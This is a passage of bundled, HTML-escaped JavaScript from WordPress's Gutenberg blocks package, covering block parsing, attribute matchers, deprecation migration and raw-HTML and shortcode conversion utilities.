      alternative: &quot;wp.richText.toHTMLString&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    const element = getSerializeCapableElement(children);
    return (0, import_element3.renderToString)(element);
  }
  function matcher(selector) {
    (0, import_deprecated8.default)(&quot;wp.blocks.children.matcher&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;html source&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return (domNode) =&gt; {
      let match = domNode;
      if (selector) {
        match = domNode.querySelector(selector);
      }
      if (match) {
        return fromDOM22(match.childNodes);
      }
      return [];
    };
  }
  var children_default = {
    concat,
    getChildrenArray,
    fromDOM: fromDOM22,
    toHTML,
    matcher
  };

  // packages/blocks/build-module/api/node.mjs
  function isNodeOfType(node, type) {
    (0, import_deprecated9.default)(&quot;wp.blocks.node.isNodeOfType&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return node &amp;&amp; node.type === type;
  }
  function getNamedNodeMapAsObject(nodeMap) {
    const result = {};
    for (let i2 = 0; i2 &lt; nodeMap.length; i2++) {
      const { name, value } = nodeMap[i2];
      result[name] = value;
    }
    return result;
  }
  function fromDOM2(domNode) {
    (0, import_deprecated9.default)(&quot;wp.blocks.node.fromDOM&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.create&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    if (domNode.nodeType === domNode.TEXT_NODE) {
      return domNode.nodeValue;
    }
    if (domNode.nodeType !== domNode.ELEMENT_NODE) {
      throw new TypeError(
        &quot;A block node can only be created from a node of type text or element.&quot;
      );
    }
    return {
      type: domNode.nodeName.toLowerCase(),
      props: {
        ...getNamedNodeMapAsObject(domNode.attributes),
        children: fromDOM22(domNode.childNodes)
      }
    };
  }
  function toHTML2(node) {
    (0, import_deprecated9.default)(&quot;wp.blocks.node.toHTML&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;wp.richText.toHTMLString&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return toHTML([node]);
  }
  function matcher2(selector) {
    (0, import_deprecated9.default)(&quot;wp.blocks.node.matcher&quot;, {
      since: &quot;6.1&quot;,
      version: &quot;6.3&quot;,
      alternative: &quot;html source&quot;,
      link: &quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;
    });
    return (domNode) =&gt; {
      let match = domNode;
      if (selector) {
        match = domNode.querySelector(selector);
      }
      try {
        return fromDOM2(match);
      } catch (error) {
        return null;
      }
    };
  }
  var node_default = {
    isNodeOfType,
    fromDOM: fromDOM2,
    toHTML: toHTML2,
    matcher: matcher2
  };

  // packages/blocks/build-module/api/matchers.mjs
  function html(selector, multilineTag) {
    return (domNode) =&gt; {
      let match = domNode;
      if (selector) {
        match = domNode.querySelector(selector);
      }
      if (!match) {
        return &quot;&quot;;
      }
      if (multilineTag) {
        let value = &quot;&quot;;
        const length = match.children.length;
        for (let index = 0; index &lt; length; index++) {
          const child = match.children[index];
          if (child.nodeName.toLowerCase() !== multilineTag) {
            continue;
          }
          value += child.outerHTML;
        }
        return value;
      }
      return match.innerHTML;
    };
  }
  var richText = (selector, preserveWhiteSpace) =&gt; (el) =&gt; {
    const target = selector ? el.querySelector(selector) : el;
    return target ? import_rich_text3.RichTextData.fromHTMLElement(target, { preserveWhiteSpace }) : import_rich_text3.RichTextData.empty();
  };

  // packages/blocks/build-module/api/parser/get-block-attributes.mjs
  var toBooleanAttributeMatcher = (matcher3) =&gt; (value) =&gt; matcher3(value) !== void 0;
  function isOfType(value, type) {
    switch (type) {
      case &quot;rich-text&quot;:
        return value instanceof import_rich_text4.RichTextData;
      case &quot;string&quot;:
        return typeof value === &quot;string&quot;;
      case &quot;boolean&quot;:
        return typeof value === &quot;boolean&quot;;
      case &quot;object&quot;:
        return !!value &amp;&amp; value.constructor === Object;
      case &quot;null&quot;:
        return value === null;
      case &quot;array&quot;:
        return Array.isArray(value);
      case &quot;integer&quot;:
      case &quot;number&quot;:
        return typeof value === &quot;number&quot;;
    }
    return true;
  }
  function isOfTypes(value, types) {
    return types.some((type) =&gt; isOfType(value, type));
  }
  function getBlockAttribute(attributeKey, attributeSchema, innerDOM, commentAttributes, innerHTML) {
    let value;
    switch (attributeSchema.source) {
      // An undefined source means that it&#039;s an attribute serialized to the
      // block&#039;s &quot;comment&quot;.
      case void 0:
        value = commentAttributes ? commentAttributes[attributeKey] : void 0;
        break;
      // raw source means that it&#039;s the original raw block content.
      case &quot;raw&quot;:
        value = innerHTML;
        break;
      case &quot;attribute&quot;:
      case &quot;property&quot;:
      case &quot;html&quot;:
      case &quot;text&quot;:
      case &quot;rich-text&quot;:
      case &quot;children&quot;:
      case &quot;node&quot;:
      case &quot;query&quot;:
      case &quot;tag&quot;:
        value = parseWithAttributeSchema(innerDOM, attributeSchema);
        break;
    }
    if (!isValidByType(value, attributeSchema.type) || !isValidByEnum(value, attributeSchema.enum)) {
      value = void 0;
    }
    if (value === void 0) {
      value = getDefault(attributeSchema);
    }
    return value;
  }
  function isValidByType(value, type) {
    return type === void 0 || isOfTypes(value, Array.isArray(type) ? type : [type]);
  }
  function isValidByEnum(value, enumSet) {
    return !Array.isArray(enumSet) || enumSet.includes(value);
  }
  var matcherFromSource = memize((sourceConfig) =&gt; {
    switch (sourceConfig.source) {
      case &quot;attribute&quot;: {
        let matcher3 = attr(sourceConfig.selector, sourceConfig.attribute);
        if (sourceConfig.type === &quot;boolean&quot;) {
          matcher3 = toBooleanAttributeMatcher(matcher3);
        }
        return matcher3;
      }
      case &quot;html&quot;:
        return html(sourceConfig.selector, sourceConfig.multiline);
      case &quot;text&quot;:
        return text(sourceConfig.selector);
      case &quot;rich-text&quot;:
        return richText(
          sourceConfig.selector,
          sourceConfig.__unstablePreserveWhiteSpace
        );
      case &quot;children&quot;:
        return matcher(sourceConfig.selector);
      case &quot;node&quot;:
        return matcher2(sourceConfig.selector);
      case &quot;query&quot;:
        const subMatchers = Object.fromEntries(
          Object.entries(sourceConfig.query).map(
            ([key, subSourceConfig]) =&gt; [
              key,
              matcherFromSource(subSourceConfig)
            ]
          )
        );
        return query(sourceConfig.selector, subMatchers);
      case &quot;tag&quot;: {
        const matcher3 = prop(sourceConfig.selector, &quot;nodeName&quot;);
        return (domNode) =&gt; matcher3(domNode)?.toLowerCase();
      }
      default:
        console.error(`Unknown source type &quot;${sourceConfig.source}&quot;`);
    }
  });
  function parseHtml(innerHTML) {
    return parse(innerHTML, (h2) =&gt; h2);
  }
  function parseWithAttributeSchema(innerHTML, attributeSchema) {
    return matcherFromSource(attributeSchema)(parseHtml(innerHTML));
  }
  function getBlockAttributes(blockTypeOrName, innerHTML, attributes = {}) {
    const doc = parseHtml(innerHTML);
    const blockType = normalizeBlockType(blockTypeOrName);
    const blockAttributes = Object.fromEntries(
      Object.entries(blockType.attributes ?? {}).map(
        ([key, schema]) =&gt; [
          key,
          getBlockAttribute(key, schema, doc, attributes, innerHTML)
        ]
      )
    );
    return (0, import_hooks4.applyFilters)(
      &quot;blocks.getBlockAttributes&quot;,
      blockAttributes,
      blockType,
      innerHTML,
      attributes
    );
  }

  // packages/blocks/build-module/api/parser/fix-custom-classname.mjs
  var CLASS_ATTR_SCHEMA = {
    type: &quot;string&quot;,
    source: &quot;attribute&quot;,
    selector: &quot;[data-custom-class-name] &gt; *&quot;,
    attribute: &quot;class&quot;
  };
  function getHTMLRootElementClasses(innerHTML) {
    const parsed = parseWithAttributeSchema(
      `&lt;div data-custom-class-name&gt;${innerHTML}&lt;/div&gt;`,
      CLASS_ATTR_SCHEMA
    );
    return parsed ? parsed.trim().split(/\s+/) : [];
  }
  function fixCustomClassname(blockAttributes, blockType, innerHTML) {
    if (!hasBlockSupport(blockType, &quot;customClassName&quot;, true)) {
      return blockAttributes;
    }
    const modifiedBlockAttributes = { ...blockAttributes };
    const { className: omittedClassName, ...attributesSansClassName } = modifiedBlockAttributes;
    const serialized = getSaveContent(blockType, attributesSansClassName);
    const defaultClasses = getHTMLRootElementClasses(serialized);
    const actualClasses = getHTMLRootElementClasses(innerHTML);
    const customClasses = actualClasses.filter(
      (className) =&gt; !defaultClasses.includes(className)
    );
    if (customClasses.length) {
      modifiedBlockAttributes.className = customClasses.join(&quot; &quot;);
    } else if (serialized) {
      delete modifiedBlockAttributes.className;
    }
    return modifiedBlockAttributes;
  }

  // packages/blocks/build-module/api/parser/fix-global-attribute.mjs
  function getHTMLRootElement(innerHTML, dataAttribute, attributeSchema) {
    const parsed = parseWithAttributeSchema(
      `&lt;div ${dataAttribute}&gt;${innerHTML}&lt;/div&gt;`,
      attributeSchema
    );
    return parsed;
  }
  function fixGlobalAttribute(blockAttributes, blockType, innerHTML, supportKey, dataAttribute, attributeSchema) {
    if (!hasBlockSupport(blockType, supportKey, false)) {
      return blockAttributes;
    }
    const modifiedBlockAttributes = { ...blockAttributes };
    const attributeValue = getHTMLRootElement(
      innerHTML,
      dataAttribute,
      attributeSchema
    );
    if (attributeValue) {
      modifiedBlockAttributes[supportKey] = attributeValue;
    }
    return modifiedBlockAttributes;
  }

  // packages/blocks/build-module/api/parser/apply-built-in-validation-fixes.mjs
  var ARIA_LABEL_ATTR_SCHEMA = {
    type: &quot;string&quot;,
    source: &quot;attribute&quot;,
    selector: &quot;[data-aria-label] &gt; *&quot;,
    attribute: &quot;aria-label&quot;
  };
  var ANCHOR_ATTR_SCHEMA = {
    type: &quot;string&quot;,
    source: &quot;attribute&quot;,
    selector: &quot;[data-anchor] &gt; *&quot;,
    attribute: &quot;id&quot;
  };
  function applyBuiltInValidationFixes(block, blockType) {
    const { attributes, originalContent } = block;
    let updatedBlockAttributes = attributes;
    updatedBlockAttributes = fixCustomClassname(
      attributes,
      blockType,
      originalContent
    );
    updatedBlockAttributes = fixGlobalAttribute(
      updatedBlockAttributes,
      blockType,
      originalContent,
      &quot;ariaLabel&quot;,
      &quot;data-aria-label&quot;,
      ARIA_LABEL_ATTR_SCHEMA
    );
    updatedBlockAttributes = fixGlobalAttribute(
      updatedBlockAttributes,
      blockType,
      originalContent,
      &quot;anchor&quot;,
      &quot;data-anchor&quot;,
      ANCHOR_ATTR_SCHEMA
    );
    return {
      ...block,
      attributes: updatedBlockAttributes
    };
  }

  // packages/blocks/build-module/api/parser/apply-block-deprecated-versions.mjs
  function stubFalse() {
    return false;
  }
  function applyBlockDeprecatedVersions(block, rawBlock, blockType) {
    const parsedAttributes = rawBlock.attrs;
    const { deprecated: deprecatedDefinitions } = blockType;
    if (!deprecatedDefinitions || !deprecatedDefinitions.length) {
      return block;
    }
    for (let i2 = 0; i2 &lt; deprecatedDefinitions.length; i2++) {
      const { isEligible = stubFalse } = deprecatedDefinitions[i2];
      if (block.isValid &amp;&amp; !isEligible(parsedAttributes, block.innerBlocks, {
        blockNode: rawBlock,
        block
      })) {
        continue;
      }
      const deprecatedBlockType = Object.assign(
        omit(blockType, DEPRECATED_ENTRY_KEYS),
        deprecatedDefinitions[i2]
      );
      let migratedBlock = {
        ...block,
        attributes: getBlockAttributes(
          deprecatedBlockType,
          block.originalContent,
          parsedAttributes
        )
      };
      let [isValid] = validateBlock(migratedBlock, deprecatedBlockType);
      if (!isValid) {
        migratedBlock = applyBuiltInValidationFixes(
          migratedBlock,
          deprecatedBlockType
        );
        [isValid] = validateBlock(migratedBlock, deprecatedBlockType);
      }
      if (!isValid) {
        continue;
      }
      let migratedInnerBlocks = migratedBlock.innerBlocks;
      let migratedAttributes = migratedBlock.attributes;
      const { migrate } = deprecatedBlockType;
      if (migrate) {
        let migrated = migrate(migratedAttributes, block.innerBlocks);
        if (!Array.isArray(migrated)) {
          migrated = [migrated];
        }
        [
          migratedAttributes = parsedAttributes,
          migratedInnerBlocks = block.innerBlocks
        ] = migrated;
      }
      block = {
        ...block,
        attributes: migratedAttributes,
        innerBlocks: migratedInnerBlocks,
        isValid: true,
        validationIssues: []
      };
    }
    return block;
  }

  // packages/blocks/build-module/api/parser/index.mjs
  function convertLegacyBlocks(rawBlock) {
    const [correctName, correctedAttributes] = convertLegacyBlockNameAndAttributes(
      rawBlock.blockName,
      rawBlock.attrs
    );
    return {
      ...rawBlock,
      blockName: correctName,
      attrs: correctedAttributes
    };
  }
  function normalizeRawBlock(rawBlock, options) {
    const fallbackBlockName = getFreeformContentHandlerName();
    const rawBlockName = rawBlock.blockName || getFreeformContentHandlerName();
    const rawAttributes = rawBlock.attrs || {};
    const rawInnerBlocks = rawBlock.innerBlocks || [];
    let rawInnerHTML = rawBlock.innerHTML.trim();
    if (rawBlockName === fallbackBlockName &amp;&amp; rawBlockName === &quot;core/freeform&quot; &amp;&amp; !options?.__unstableSkipAutop) {
      rawInnerHTML = (0, import_autop2.autop)(rawInnerHTML).trim();
    }
    return {
      ...rawBlock,
      blockName: rawBlockName,
      attrs: rawAttributes,
      innerHTML: rawInnerHTML,
      innerBlocks: rawInnerBlocks
    };
  }
  function createMissingBlockType(rawBlock) {
    const unregisteredFallbackBlock = getUnregisteredTypeHandlerName() || getFreeformContentHandlerName();
    const originalUndelimitedContent = serializeRawBlock(rawBlock, {
      isCommentDelimited: false
    });
    const originalContent = serializeRawBlock(rawBlock, {
      isCommentDelimited: true
    });
    return {
      blockName: unregisteredFallbackBlock,
      attrs: {
        originalName: rawBlock.blockName,
        originalContent,
        originalUndelimitedContent
      },
      innerHTML: rawBlock.blockName ? originalContent : rawBlock.innerHTML,
      innerBlocks: rawBlock.innerBlocks,
      innerContent: rawBlock.innerContent
    };
  }
  function applyBlockValidation(unvalidatedBlock, blockType) {
    const [isValid] = validateBlock(unvalidatedBlock, blockType);
    if (isValid) {
      return { ...unvalidatedBlock, isValid, validationIssues: [] };
    }
    const fixedBlock = applyBuiltInValidationFixes(
      unvalidatedBlock,
      blockType
    );
    const [isFixedValid, validationIssues] = validateBlock(
      fixedBlock,
      blockType
    );
    return { ...fixedBlock, isValid: isFixedValid, validationIssues };
  }
  function parseRawBlock(rawBlock, options) {
    let normalizedBlock = normalizeRawBlock(rawBlock, options);
    normalizedBlock = convertLegacyBlocks(normalizedBlock);
    let blockType = getBlockType(normalizedBlock.blockName);
    if (!blockType) {
      normalizedBlock = createMissingBlockType(normalizedBlock);
      blockType = getBlockType(normalizedBlock.blockName);
    }
    const isFallbackBlock = normalizedBlock.blockName === getFreeformContentHandlerName() || normalizedBlock.blockName === getUnregisteredTypeHandlerName();
    if (!blockType || !normalizedBlock.innerHTML &amp;&amp; isFallbackBlock) {
      return;
    }
    const parsedInnerBlocks = normalizedBlock.innerBlocks.map((innerBlock) =&gt; parseRawBlock(innerBlock, options)).filter((innerBlock) =&gt; !!innerBlock);
    const parsedBlock = createBlock(
      normalizedBlock.blockName,
      getBlockAttributes(
        blockType,
        normalizedBlock.innerHTML,
        normalizedBlock.attrs
      ),
      parsedInnerBlocks
    );
    parsedBlock.originalContent = normalizedBlock.innerHTML;
    const validatedBlock = applyBlockValidation(parsedBlock, blockType);
    const { validationIssues } = validatedBlock;
    const updatedBlock = applyBlockDeprecatedVersions(
      validatedBlock,
      normalizedBlock,
      blockType
    );
    if (!updatedBlock.isValid) {
      updatedBlock.__unstableBlockSource = rawBlock;
    }
    if (!validatedBlock.isValid &amp;&amp; updatedBlock.isValid &amp;&amp; !options?.__unstableSkipMigrationLogs) {
      console.groupCollapsed(&quot;Updated Block: %s&quot;, blockType.name);
      console.info(
        &quot;Block successfully updated for `%s` (%o).\n\nNew content generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s&quot;,
        blockType.name,
        blockType,
        getSaveContent(blockType, updatedBlock.attributes),
        updatedBlock.originalContent
      );
      console.groupEnd();
    } else if (!validatedBlock.isValid &amp;&amp; !updatedBlock.isValid) {
      validationIssues.forEach(({ log: log2, args }) =&gt; log2(...args));
    }
    return updatedBlock;
  }
  function parse2(content, options) {
    return (0, import_block_serialization_default_parser.parse)(content).reduce((accumulator, rawBlock) =&gt; {
      const block = parseRawBlock(rawBlock, options);
      if (block) {
        accumulator.push(block);
      }
      return accumulator;
    }, []);
  }

  // packages/blocks/build-module/api/raw-handling/index.mjs
  var import_deprecated10 = __toESM(require_deprecated(), 1);
  var import_dom12 = __toESM(require_dom(), 1);

  // packages/blocks/build-module/api/raw-handling/html-to-blocks.mjs
  var import_element4 = __toESM(require_element(), 1);

  // packages/blocks/build-module/api/raw-handling/get-raw-transforms.mjs
  function getRawTransforms() {
    return getBlockTransforms(&quot;from&quot;).filter(({ type }) =&gt; type === &quot;raw&quot;).map((transform) =&gt; {
      return transform.isMatch ? transform : {
        ...transform,
        isMatch: (node) =&gt; transform.selector &amp;&amp; node.matches(transform.selector)
      };
    });
  }

  // packages/blocks/build-module/api/raw-handling/html-to-blocks.mjs
  function htmlToBlocks(html2, handler) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = html2;
    return Array.from(doc.body.children).flatMap((node) =&gt; {
      const rawTransform = findTransform(
        getRawTransforms(),
        ({ isMatch }) =&gt; isMatch(node)
      );
      if (!rawTransform) {
        if (import_element4.Platform.isNative) {
          return parse2(
            `&lt;!-- wp:html --&gt;${node.outerHTML}&lt;!-- /wp:html --&gt;`
          );
        }
        return createBlock(
          // Should not be hardcoded.
          &quot;core/html&quot;,
          getBlockAttributes(&quot;core/html&quot;, node.outerHTML)
        );
      }
      const { transform, blockName } = rawTransform;
      if (transform) {
        const block = transform(node, handler);
        if (node.hasAttribute(&quot;class&quot;)) {
          block.attributes.className = node.getAttribute(&quot;class&quot;);
        }
        return block;
      }
      return createBlock(
        blockName,
        getBlockAttributes(blockName, node.outerHTML)
      );
    });
  }

  // packages/blocks/build-module/api/raw-handling/normalise-blocks.mjs
  var import_dom2 = __toESM(require_dom(), 1);
  function normaliseBlocks(HTML, options = {}) {
    const decuDoc = document.implementation.createHTMLDocument(&quot;&quot;);
    const accuDoc = document.implementation.createHTMLDocument(&quot;&quot;);
    const decu = decuDoc.body;
    const accu = accuDoc.body;
    decu.innerHTML = HTML;
    while (decu.firstChild) {
      const node = decu.firstChild;
      if (node.nodeType === node.TEXT_NODE) {
        if ((0, import_dom2.isEmpty)(node)) {
          decu.removeChild(node);
        } else {
          if (!accu.lastChild || accu.lastChild.nodeName !== &quot;P&quot;) {
            accu.appendChild(accuDoc.createElement(&quot;P&quot;));
          }
          accu.lastChild.appendChild(node);
        }
      } else if (node.nodeType === node.ELEMENT_NODE) {
        if (node.nodeName === &quot;BR&quot;) {
          if (node.nextSibling &amp;&amp; node.nextSibling.nodeName === &quot;BR&quot;) {
            accu.appendChild(accuDoc.createElement(&quot;P&quot;));
            decu.removeChild(node.nextSibling);
          }
          if (accu.lastChild &amp;&amp; accu.lastChild.nodeName === &quot;P&quot; &amp;&amp; accu.lastChild.hasChildNodes()) {
            accu.lastChild.appendChild(node);
          } else {
            decu.removeChild(node);
          }
        } else if (node.nodeName === &quot;P&quot;) {
          if ((0, import_dom2.isEmpty)(node) &amp;&amp; !options.raw) {
            decu.removeChild(node);
          } else {
            accu.appendChild(node);
          }
        } else if ((0, import_dom2.isPhrasingContent)(node)) {
          if (!accu.lastChild || accu.lastChild.nodeName !== &quot;P&quot;) {
            accu.appendChild(accuDoc.createElement(&quot;P&quot;));
          }
          accu.lastChild.appendChild(node);
        } else {
          accu.appendChild(node);
        }
      } else {
        decu.removeChild(node);
      }
    }
    return accu.innerHTML;
  }

  // packages/blocks/build-module/api/raw-handling/special-comment-converter.mjs
  var import_dom3 = __toESM(require_dom(), 1);
  function specialCommentConverter(node, doc) {
    if (node.nodeType !== node.COMMENT_NODE) {
      return;
    }
    if (node.nodeValue !== &quot;nextpage&quot; &amp;&amp; node.nodeValue.indexOf(&quot;more&quot;) !== 0) {
      return;
    }
    const block = createBlock2(node, doc);
    if (!node.parentNode || node.parentNode.nodeName !== &quot;P&quot;) {
      (0, import_dom3.replace)(node, block);
    } else {
      const childNodes = Array.from(node.parentNode.childNodes);
      const nodeIndex = childNodes.indexOf(node);
      const wrapperNode = node.parentNode.parentNode || doc.body;
      const paragraphBuilder = (acc, child) =&gt; {
        if (!acc) {
          acc = doc.createElement(&quot;p&quot;);
        }
        acc.appendChild(child);
        return acc;
      };
      [
        childNodes.slice(0, nodeIndex).reduce(paragraphBuilder, null),
        block,
        childNodes.slice(nodeIndex + 1).reduce(paragraphBuilder, null)
      ].forEach(
        (element) =&gt; element &amp;&amp; wrapperNode.insertBefore(element, node.parentNode)
      );
      (0, import_dom3.remove)(node.parentNode);
    }
  }
  function createBlock2(commentNode, doc) {
    if (commentNode.nodeValue === &quot;nextpage&quot;) {
      return createNextpage(doc);
    }
    const customText = commentNode.nodeValue.slice(4).trim();
    let sibling = commentNode;
    let noTeaser = false;
    while (sibling = sibling.nextSibling) {
      if (sibling.nodeType === sibling.COMMENT_NODE &amp;&amp; sibling.nodeValue === &quot;noteaser&quot;) {
        noTeaser = true;
        (0, import_dom3.remove)(sibling);
        break;
      }
    }
    return createMore(customText, noTeaser, doc);
  }
  function createMore(customText, noTeaser, doc) {
    const node = doc.createElement(&quot;wp-block&quot;);
    node.dataset.block = &quot;core/more&quot;;
    if (customText) {
      node.dataset.customText = customText;
    }
    if (noTeaser) {
      node.dataset.noTeaser = &quot;&quot;;
    }
    return node;
  }
  function createNextpage(doc) {
    const node = doc.createElement(&quot;wp-block&quot;);
    node.dataset.block = &quot;core/nextpage&quot;;
    return node;
  }

  // packages/blocks/build-module/api/raw-handling/list-reducer.mjs
  var import_dom4 = __toESM(require_dom(), 1);
  function isList(node) {
    return node.nodeName === &quot;OL&quot; || node.nodeName === &quot;UL&quot;;
  }
  function shallowTextContent(element) {
    return Array.from(element.childNodes).map(({ nodeValue = &quot;&quot; }) =&gt; nodeValue).join(&quot;&quot;);
  }
  function listReducer(node) {
    if (!isList(node)) {
      return;
    }
    const list = node;
    const prevElement = node.previousElementSibling;
    if (prevElement &amp;&amp; prevElement.nodeName === node.nodeName &amp;&amp; list.children.length === 1) {
      while (list.firstChild) {
        prevElement.appendChild(list.firstChild);
      }
      list.parentNode.removeChild(list);
    }
    const parentElement = node.parentNode;
    if (parentElement &amp;&amp; parentElement.nodeName === &quot;LI&quot; &amp;&amp; parentElement.children.length === 1 &amp;&amp; !/\S/.test(shallowTextContent(parentElement))) {
      const parentListItem = parentElement;
      const prevListItem = parentListItem.previousElementSibling;
      const parentList = parentListItem.parentNode;
      if (prevListItem) {
        prevListItem.appendChild(list);
        parentList.removeChild(parentListItem);
      }
    }
    if (parentElement &amp;&amp; isList(parentElement)) {
      const prevListItem = node.previousElementSibling;
      if (prevListItem) {
        prevListItem.appendChild(node);
      } else {
        (0, import_dom4.unwrap)(node);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/blockquote-normaliser.mjs
  function blockquoteNormaliser(options) {
    return (node) =&gt; {
      if (node.nodeName !== &quot;BLOCKQUOTE&quot;) {
        return;
      }
      node.innerHTML = normaliseBlocks(node.innerHTML, options);
    };
  }

  // packages/blocks/build-module/api/raw-handling/figure-content-reducer.mjs
  var import_dom5 = __toESM(require_dom(), 1);
  function isFigureContent(node, schema) {
    const tag = node.nodeName.toLowerCase();
    if (tag === &quot;figcaption&quot; || (0, import_dom5.isTextContent)(node)) {
      return false;
    }
    return tag in (schema?.figure?.children ?? {});
  }
  function canHaveAnchor(node, schema) {
    const tag = node.nodeName.toLowerCase();
    return tag in (schema?.figure?.children?.a?.children ?? {});
  }
  function wrapFigureContent(element, beforeElement = element) {
    const figure = element.ownerDocument.createElement(&quot;figure&quot;);
    beforeElement.parentNode.insertBefore(figure, beforeElement);
    figure.appendChild(element);
  }
  function figureContentReducer(node, doc, schema) {
    if (!isFigureContent(node, schema)) {
      return;
    }
    let nodeToInsert = node;
    const parentNode = node.parentNode;
    if (canHaveAnchor(node, schema) &amp;&amp; parentNode.nodeName === &quot;A&quot; &amp;&amp; parentNode.childNodes.length === 1) {
      nodeToInsert = node.parentNode;
    }
    const wrapper = nodeToInsert.closest(&quot;p,div&quot;);
    if (wrapper) {
      if (!node.classList) {
        wrapFigureContent(nodeToInsert, wrapper);
      } else if (node.classList.contains(&quot;alignright&quot;) || node.classList.contains(&quot;alignleft&quot;) || node.classList.contains(&quot;aligncenter&quot;) || !wrapper.textContent.trim()) {
        wrapFigureContent(nodeToInsert, wrapper);
      }
    } else {
      wrapFigureContent(nodeToInsert);
    }
  }

  // packages/blocks/build-module/api/raw-handling/shortcode-converter.mjs
  var import_shortcode = __toESM(require_shortcode(), 1);
  var castArray = (maybeArray) =&gt; Array.isArray(maybeArray) ? maybeArray : [maybeArray];
  var beforeLineRegexp = /(\n|&lt;p&gt;)\s*$/;
  var afterLineRegexp = /^\s*(\n|&lt;\/p&gt;)/;
  function segmentHTMLToShortcodeBlock(HTML, lastIndex = 0, excludedBlockNames = []) {
    const transformsFrom = getBlockTransforms(&quot;from&quot;);
    const transformation = findTransform(
      transformsFrom,
      (transform) =&gt; excludedBlockNames.indexOf(transform.blockName) === -1 &amp;&amp; transform.type === &quot;shortcode&quot; &amp;&amp; castArray(transform.tag).some(
        (tag) =&gt; (0, import_shortcode.regexp)(tag).test(HTML)
      )
    );
    if (!transformation) {
      return [HTML];
    }
    const transformTags = castArray(transformation.tag);
    const transformTag = transformTags.find(
      (tag) =&gt; (0, import_shortcode.regexp)(tag).test(HTML)
    );
    let match;
    const previousIndex = lastIndex;
    if (match = (0, import_shortcode.next)(transformTag, HTML, lastIndex)) {
      lastIndex = match.index + match.content.length;
      const beforeHTML = HTML.substr(0, match.index);
      const afterHTML = HTML.substr(lastIndex);
      if (!match.shortcode.content?.includes(&quot;&lt;&quot;) &amp;&amp; !(beforeLineRegexp.test(beforeHTML) &amp;&amp; afterLineRegexp.test(afterHTML))) {
        return segmentHTMLToShortcodeBlock(HTML, lastIndex);
      }
      if (transformation.isMatch &amp;&amp; !transformation.isMatch(match.shortcode.attrs)) {
        return segmentHTMLToShortcodeBlock(HTML, previousIndex, [
          ...excludedBlockNames,
          transformation.blockName
        ]);
      }
      let blocks = [];
      if (typeof transformation.transform === &quot;function&quot;) {
        blocks = [].concat(
          transformation.transform(match.shortcode.attrs, match)
        );
        blocks = blocks.map((block) =&gt; {
          block.originalContent = match.shortcode.content;
          return applyBuiltInValidationFixes(
            block,
            getBlockType(block.name)
          );
        });
      } else {
        const attributes = Object.fromEntries(
          Object.entries(transformation.attributes).filter(([, schema]) =&gt; schema.shortcode).map(([key, schema]) =&gt; [
            key,
            schema.shortcode(match.shortcode.attrs, match)
          ])
        );
        const blockType = getBlockType(transformation.blockName);
        if (!blockType) {
          return [HTML];
        }
        const transformationBlockType = {
          ...blockType,
          attributes: transformation.attributes
        };
        let block = createBlock(
          transformation.blockName,
          getBlockAttributes(
            transformationBlockType,
            match.shortcode.content,
            attributes
          )
        );
        block.originalContent = match.shortcode.content;
        block = applyBuiltInValidationFixes(
          block,
          transformationBlockType
        );
        blocks = [block];
      }
      return [
        ...segmentHTMLToShortcodeBlock(
          beforeHTML.replace(beforeLineRegexp, &quot;&quot;)
        ),
        ...blocks,
        ...segmentHTMLToShortcodeBlock(
          afterHTML.replace(afterLineRegexp, &quot;&quot;)
        )
      ];
    }
    return [HTML];
  }
  var shortcode_converter_default = segmentHTMLToShortcodeBlock;

  // packages/blocks/build-module/api/raw-handling/utils.mjs
  var import_dom6 = __toESM(require_dom(), 1);
  function getBlockContentSchemaFromTransforms(transforms, context) {
    const phrasingContentSchema = (0, import_dom6.getPhrasingContentSchema)(context);
    const schemaArgs = { phrasingContentSchema, isPaste: context === &quot;paste&quot; };
    const schemas = transforms.map(({ isMatch, blockName, schema }) =&gt; {
      const hasAnchorSupport = hasBlockSupport(blockName, &quot;anchor&quot;);
      schema = typeof schema === &quot;function&quot; ? schema(schemaArgs) : schema;
      if (!hasAnchorSupport &amp;&amp; !isMatch) {
        return schema;
      }
      if (!schema) {
        return {};
      }
      return Object.fromEntries(
        Object.entries(schema).map(([key, value]) =&gt; {
          let attributes = value.attributes || [];
          if (hasAnchorSupport) {
            attributes = [...attributes, &quot;id&quot;];
          }
          return [
            key,
            {
              ...value,
              attributes,
              isMatch: isMatch ? isMatch : void 0
            }
          ];
        })
      );
    });
    function mergeTagNameSchemaProperties(objValue, srcValue, key) {
      switch (key) {
        case &quot;children&quot;: {
          if (objValue === &quot;*&quot; || srcValue === &quot;*&quot;) {
            return &quot;*&quot;;
          }
          return { ...objValue, ...srcValue };
        }
        case &quot;attributes&quot;:
        case &quot;require&quot;: {
          return [...objValue || [], ...srcValue || []];
        }
        case &quot;isMatch&quot;: {
          if (!objValue || !srcValue) {
            return void 0;
          }
          return (...args) =&gt; {
            return objValue(...args) || srcValue(...args);
          };
        }
      }
    }
    function mergeTagNameSchemas(a2, b2) {
      for (const key in b2) {
        a2[key] = a2[key] ? mergeTagNameSchemaProperties(a2[key], b2[key], key) : { ...b2[key] };
      }
      return a2;
    }
    function mergeSchemas(a2, b2) {
      for (const key in b2) {
        a2[key] = a2[key] ? mergeTagNameSchemas(a2[key], b2[key]) : { ...b2[key] };
      }
      return a2;
    }
    return schemas.reduce(mergeSchemas, {});
  }
  function getBlockContentSchema(context) {
